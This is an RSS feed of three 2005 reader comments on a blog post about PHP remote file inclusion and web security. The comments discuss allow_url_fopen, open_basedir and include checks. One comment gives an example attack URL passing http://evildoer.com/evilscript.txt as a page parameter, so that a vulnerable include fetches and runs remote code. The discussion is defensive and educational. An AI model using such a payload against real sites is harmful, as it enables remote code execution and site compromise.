<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Technosailor - Latest Comments in Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.disqus.com/</link><description></description><atom:link href="https://technosailor.disqus.com/lessons_in_web_security_php_and_remote_file_execution/latest.rss" rel="self"></atom:link><language>en</language><lastBuildDate>Wed, 07 Sep 2005 18:21:52 -0000</lastBuildDate><item><title>Re: Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/#comment-1028691</link><description>&lt;p&gt;Here's a simple example of why allow_url_fopen is a problem in the real world.&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;I've seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;And then they run it with something like "&lt;a href="http://www.example.com/index.php?page=page5.html" rel="nofollow noopener" target="_blank" title="http://www.example.com/index.php?page=page5.html"&gt;http://www.example.com/inde...&lt;/a&gt;".&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;All it takes is someone to come along and type "&lt;a href="http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt" rel="nofollow noopener" target="_blank" title="http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt"&gt;http://www.example.com/inde...&lt;/a&gt;", and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers... whatever.&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;Moral: allow_url_fopen should *always* be off unless you need it.&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;Rob&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Robert Mathews</dc:creator><pubDate>Wed, 07 Sep 2005 18:21:52 -0000</pubDate></item><item><title>Re: Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/#comment-1028690</link><description>&lt;p&gt;Hey Matt,&amp;lt;br /&amp;gt;&lt;br&gt;Checking $_SERVER[â€™DOCUMENT_ROOTâ€™] will not work because that global variable will be set according to the page doing the including, not the remote file itself. And yes, FTP will be a topic. :)&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;Leave a Comment&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Aaron</dc:creator><pubDate>Thu, 03 Feb 2005 09:30:48 -0000</pubDate></item><item><title>Re: Lessons in Web Security: PHP and Remote File Execution</title><link>http://technosailor.com/2005/02/02/lessons-in-web-security-php-and-remote-file-execution/#comment-1028689</link><description>&lt;p&gt;Ah yes open_basedir(), figured you'd mention that. Nice idea to use file_exists to check a file before including it. I s'pose there's lot of stuff you could do, like checking the $_SERVER["DOCUMENT_ROOT"] or the HOSTNAME to check the file is coming from itself.&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;Are you gonna do anything on FTP security? Not being much of a security buff myself, but thinking about it, were someone able to gain FTP access (don't know but with register_globals on, could you pass a system command through a $_GET equiv, or guest accounts/public_ftp etc.) then they could upload whatever they wanted and have away with your system.&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;And you might want to mention for the more n00b programmers out there to give all includes a .php extension (and not a .inc, for example ;) :p).&amp;lt;br /&amp;gt;&lt;br&gt;&amp;lt;br /&amp;gt;&lt;br&gt;Matt&lt;/p&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Matt Thornton</dc:creator><pubDate>Thu, 03 Feb 2005 08:43:14 -0000</pubDate></item></channel></rss>